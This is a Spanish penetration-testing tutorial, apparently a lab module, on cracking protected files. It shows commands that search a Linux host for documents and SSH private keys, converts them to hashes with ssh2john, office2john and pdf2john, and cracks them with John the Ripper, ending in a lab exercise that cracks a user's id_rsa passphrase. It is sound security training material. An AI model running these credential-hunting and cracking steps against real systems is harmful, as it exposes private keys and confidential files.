🔑Archivos Protegidos
En el uso del cifrado de archivos a menudo todavía falta privacidad
y es importante para las empresas. Incluso hoy en día, los correos electrónicos que contienen solicitudes de empleo, estados de cuenta o contratos suelen enviarse sin cifrar. Esto es una negligencia grave y, en muchos casos, incluso penado por la ley. Por ejemplo, el RGPD exige el almacenamiento y la transmisión cifrados de datos personales en la Unión Europea. Especialmente en los casos empresariales, esto es bastante diferente en el caso de los correos electrónicos. Hoy en día es bastante común comunicar temas confidenciales
o enviar datos sensibles
por email
. Sin embargo, los correos electrónicos no son mucho más seguros que las postales, que pueden ser interceptadas si el atacante está posicionado correctamente.
Cada vez más empresas están aumentando sus precauciones e infraestructura de seguridad de TI a través de cursos de capacitación y seminarios de concientización sobre seguridad. Como resultado, cada vez es más común que los empleados de la empresa cifren/codifiquen archivos confidenciales. Sin embargo, incluso estos pueden descifrarse y leerse con la elección correcta de listas y herramientas. En muchos casos, la encryptación simétrica
cómo AES-256
se utiliza para almacenar de forma segura archivos o carpetas individuales. Aquí, la misma clave
se utiliza para cifrar y descifrar un archivo.
Por lo tanto, para enviar archivos se utiliza cifrado asimétrico, en el que se requieren dos claves independientes. El remitente cifra el archivo con la clave pública del destinatario. El destinatario, a su vez, puede descifrar el archivo utilizando una clave privada.
Buscando archivos codificados
Muchas extensiones de archivos diferentes pueden identificar estos tipos de archivos cifrados/codificados. Por ejemplo, se puede encontrar una lista útil en FileInfo . Sin embargo, para nuestro ejemplo, solo veremos los archivos más comunes como los siguientes:
Buscando archivos
cry0l1t3@unixclient:~$ for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
File extension: .xls
File extension: .xls*
File extension: .xltx
File extension: .csv
/home/cry0l1t3/Docs/client-emails.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/header-label.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/header.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/no-header.csv
/home/cry0l1t3/ruby-2.7.3/gems/test-unit-3.3.4/test/fixtures/plus.csv
/home/cry0l1t3/ruby-2.7.3/test/win32ole/orig_data.csv
File extension: .od*
/home/cry0l1t3/Docs/document-temp.odt
/home/cry0l1t3/Docs/product-improvements.odp
/home/cry0l1t3/Docs/mgmt-spreadsheet.ods
...SNIP...
Si encontramos extensiones de archivos en el sistema con las que no estamos familiarizados, podemos utilizar los motores de búsqueda con los que estamos familiarizados para descubrir la tecnología detrás de ellas. Después de todo, hay cientos de extensiones de archivos diferentes y no se espera que nadie las sepa todas de memoria. Sin embargo, primero debemos saber cómo encontrar la información relevante que nos ayudará. Nuevamente, podemos seguir los pasos que ya cubrimos en las secciones de Credential Hunting en
Linux
y
Windows
o repetirlos para encontrar claves SSH en el sistema.
Buscando claves SSH
cry0l1t3@unixclient:~$ grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
/home/cry0l1t3/.ssh/internal_db:1:-----BEGIN OPENSSH PRIVATE KEY-----
/home/cry0l1t3/.ssh/SSH.private:1:-----BEGIN OPENSSH PRIVATE KEY-----
/home/cry0l1t3/Mgmt/ceil.key:1:-----BEGIN OPENSSH PRIVATE KEY-----
La mayoría de claves SSH que encontraremos hoy en día están cifradas. Podemos reconocer esto por el encabezado de la clave SSH porque muestra el método de cifrado en uso.
Claves SSH cifradas
cry0l1t3@unixclient:~$ cat /home/cry0l1t3/.ssh/SSH.private
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2109D25CC91F8DBFCEB0F7589066B2CC
8Uboy0afrTahejVGmB7kgvxkqJLOczb1I0/hEzPU1leCqhCKBlxYldM2s65jhflD
4/OH4ENhU7qpJ62KlrnZhFX8UwYBmebNDvG12oE7i21hB/9UqZmmHktjD3+OYTsD
...SNIP...
Si vemos un encabezado de este tipo en una clave SSH, en la mayoría de los casos no podremos usarlo inmediatamente sin realizar más acciones. Esto se debe a que las claves SSH cifradas están protegidas con una frase de contraseña que se debe ingresar antes de usarlas. Sin embargo, muchos suelen ser descuidados en la selección de la contraseña y su complejidad porque SSH se considera un protocolo seguro, y muchos no saben que incluso el ligero AES-128-CBC se puede descifrar.
Cracking de archivos con John
John The Ripper
tiene muchos scripts diferentes para generar hashes a partir de archivos que luego podemos usar para descifrar. Podemos encontrar estos scripts en nuestro sistema usando el siguiente comando:
locate *2john*
Scripts de John para Hashing
afsh4ck@kali$ locate *2john*
/usr/bin/bitlocker2john
/usr/bin/dmg2john
/usr/bin/gpg2john
/usr/bin/hccap2john
/usr/bin/keepass2john
/usr/bin/putty2john
/usr/bin/racf2john
/usr/bin/rar2john
/usr/bin/uaf2john
/usr/bin/vncpcap2john
/usr/bin/wlanhcx2john
/usr/bin/wpapcap2john
/usr/bin/zip2john
/usr/share/john/1password2john.py
/usr/share/john/7z2john.pl
/usr/share/john/DPAPImk2john.py
/usr/share/john/adxcsouf2john.py
/usr/share/john/aem2john.py
/usr/share/john/aix2john.pl
/usr/share/john/aix2john.py
/usr/share/john/andotp2john.py
/usr/share/john/androidbackup2john.py
...SNIP...
Podemos convertir muchos formatos diferentes en hashes únicos e intentar descifrar las contraseñas con esto. Luego, podremos abrir, leer y usar el archivo si lo logramos. Existe un script de Python llamado ssh2john.py
para claves SSH, que genera los hashes correspondientes para las claves SSH cifradas, que luego podemos almacenar en archivos.
afsh4ck@kali$ ssh2john SSH.private > ssh.hash
afsh4ck@kali$ cat ssh.hash
ssh.private:$sshng$0$8$1C258238FD2D6EB0$2352$f7b...SNIP...
A continuación, debemos personalizar los comandos de acuerdo con la lista de contraseñas y especificar nuestro archivo con los hashes como el objetivo a descifrar. Después de eso, podemos mostrar los hash descifrados especificando el archivo hash y usando la opción --show
.
Cracking de claves SSH
afsh4ck@kali$ john --wordlist=rockyou.txt ssh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (SSH.private)
1g 0:00:00:00 DONE (2022-02-08 03:03) 16.66g/s 1747Kp/s 1747Kc/s 1747KC/s Knightsing..Babying
Session completed
afsh4ck@kali$ john ssh.hash --show
SSH.private:1234
1 password hash cracked, 0 left
Crackeando documentos
A lo largo de nuestra carrera nos encontraremos con muchos documentos diferentes, que además están protegidos con contraseña para evitar el acceso de personas no autorizadas. Hoy en día, la mayoría de la gente utiliza archivos Office y PDF para intercambiar información y datos comerciales.
Prácticamente todos los informes, documentación y hojas de información se pueden encontrar en forma de documentos DOC y PDF de Office. Esto se debe a que ofrecen la mejor representación visual de la información. John proporciona un script de Python llamado office2john.py
para extraer hashes de todos los documentos comunes de Office que luego se pueden introducir en John o Hashcat para descifrarlos sin conexión. El procedimiento para descifrarlos sigue siendo el mismo.
Cracking de documentos de Microsoft Office
afsh4ck@kali$ office2john Protected.docx > protected-docx.hash
afsh4ck@kali$ cat protected-docx.hash
Protected.docx:$office$*2007*20*128*16*7240...SNIP...8a69cf1*98242f4da37d916305d8e2821360773b7edc481b
afsh4ck@kali$ john --wordlist=/usr/share/wordlists/rockyou.txt protected-docx.hash
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (Protected.docx)
1g 0:00:00:00 DONE (2022-02-08 01:25) 2.083g/s 2266p/s 2266c/s 2266C/s trisha..heart
Use the "--show" option to display all of the cracked passwords reliably
Session completed
afsh4ck@kali$ john protected-docx.hash --show
Protected.docx:1234
Cracking de archivos PDF
afsh4ck@kali$ pdf2john PDF.pdf > pdf.hash
afsh4ck@kali$ cat pdf.hash
PDF.pdf:$pdf$2*3*128*-1028*1*16*7e88...SNIP...bd2*32*a72092...SNIP...0000*32*c48f001fdc79a030d718df5dbbdaad81d1f6fedec4a7b5cd980d64139edfcb7e
afsh4ck@kali$ john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 3 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (PDF.pdf)
1g 0:00:00:00 DONE (2022-02-08 02:16) 25.00g/s 27200p/s 27200c/s 27200C/s bulldogs..heart
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed
afsh4ck@kali$ john pdf.hash --show
PDF.pdf:1234
1 password hash cracked, 0 left
Una de las mayores dificultades en este proceso es la generación y mutación de listas de contraseñas. Este es el requisito previo para descifrar con éxito las contraseñas de todos los archivos y puntos de acceso protegidos con contraseña. Esto se debe a que en la mayoría de los casos ya no es suficiente utilizar una lista de contraseñas conocidas, ya que éstas son conocidas por los sistemas y a menudo son reconocidas y bloqueadas por mecanismos de seguridad integrados.
Este tipo de archivos pueden ser más difíciles de descifrar (o no ser descifrables en absoluto en un período de tiempo razonable) porque los usuarios pueden verse obligados a seleccionar una contraseña o frase de contraseña más larga, generada aleatoriamente. Sin embargo, siempre vale la pena intentar descifrar documentos protegidos con contraseña, ya que pueden proporcionar datos confidenciales que podrían ser útiles para mejorar nuestro acceso.
Caso práctico
Utiliza la contraseña que ya hemos descubierto en la sección anterior del usuario Kira, inicia sesión en el host y descifra la clave SSH "id_rsa". Luego, envíe la contraseña de la clave SSH como respuesta.
Credenciales de acceso por SSH
User: kira
Pass: L0vey0u1!
Host: 10.129.219.191
Conexión por SSH
ssh kira@10.129.219.191
kira@10.129.219.191's password: L0vey0u1!
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 18 Apr 2024 02:08:03 PM UTC
System load: 0.04 Processes: 180
Usage of /: 27.8% of 13.72GB Users logged in: 0
Memory usage: 30% IPv4 address for ens192: 10.129.219.191
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
kira@nix01:~$
Búsqueda de Claves Privadas ID_RSA
kira@nix01:~$ grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
/home/kira/.ssh/id_rsa:1:-----BEGIN RSA PRIVATE KEY-----
/home/kira/.bash_history:35:grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
La clave que nos interesa es id_rsa
:
kira@nix01:~$ cat /home/kira/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,F1C2E21F3CF7BDF460FB56C7D16911F2
sqXnpt6fN4Ugi545CGyPWgfkaQhkDt5lKU6azI4amQ9mifdUkKzdR46EdrU3Pglh
xz3sC+Xdm7qkrtLEQ7rpk8w7zANcsxvQznGspuUv+c1hSvJdVgZAqTG84KFmUpXM
2YW9QdMynHy9PVJP66tKBfuzJ9YZBJISocUjpwtEqrWDnOSBinLsYj6Z+J+yIvLv
1IaFtgGJbqWovJ+5FP9L8Js/AdWRs0fnGzvHYo8h9rJXgf6Qdf7okSsN+pRTPpBe
Dc/IUMwcTUdzyRIMdoz5CsZJGe6jaKYoOt66dU92XjKzHG4yhIeord7+wa1W6MRd
aa2fvvi1SMtaaLFCb6nd8raqoaELPzwcrYQ0cLCwlwggH+GTW/cfVAABnE0kXCgH
sp2uc/KOV6PPdZ6tBFEg/xVehP9H19jd/LfVQ3/tjvKhTNuiF0JcwObiy3d4tpX1
EoUqJHS7s4pQhXmufAxcJGjOo/Ipts9StTwVbDdwmlbA4CkwtS5yPJz2b2BZAUDh
G8OWtKSJm9aKYt0DrLbo5OVeyepg2NP7rRq9OjhHau6L9GrrvcQxvTx6D7PEQb+v
wvKtEW4cZDgk3gvSaWgTf0c5baw0FqYcfr/yVmBidfjtWPIg1eDSQHgWDrAChujr
sMgPL32Wf7AmiUZDlB/5XwX0D+Hn+UTobpFnJ/MBUSay4HUMaQznBQR99csiXIQl
<-------SNIP------->
-----END RSA PRIVATE KEY-----
Nos vamos a copiar este archivo es nuestra máquina de atacante y vamos a crackearlo con John the Ripper. Lo hemos guardado con el nombre kira_id_rsa
SSH2John
afsh4ck@kali$ ssh2john kira_id_rsa > ssh.hash
afsh4ck@kali$ cat ssh.hash
kira_id_rsa:$sshng$1$16$F1C2E21F3CF7BDF460FB56C7D16911F2$1776$b2a5e7a6de9f3785208b9e39086c8f5a07e46908640ede65294e9acc8e1a990f6689f75490acdd478e8476b5373e0961c73dec0be5dd9bbaa4aed2c443bae993cc3bcc035cb31bd0ce71aca6e52ff9cd614af25d560640a931bce0a1665295ccd985bd41d3329c7cbd3d524febab4a05fbb327d619049212a1c523a70b44aab5839ce4818a72ec623e99f8....
Cracking con John
afsh4ck@kali$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
L0veme (kira_id_rsa)
Session completed.
Finalmente obtenemos la contraseña: L0veme
Última actualización
¿Te fue útil?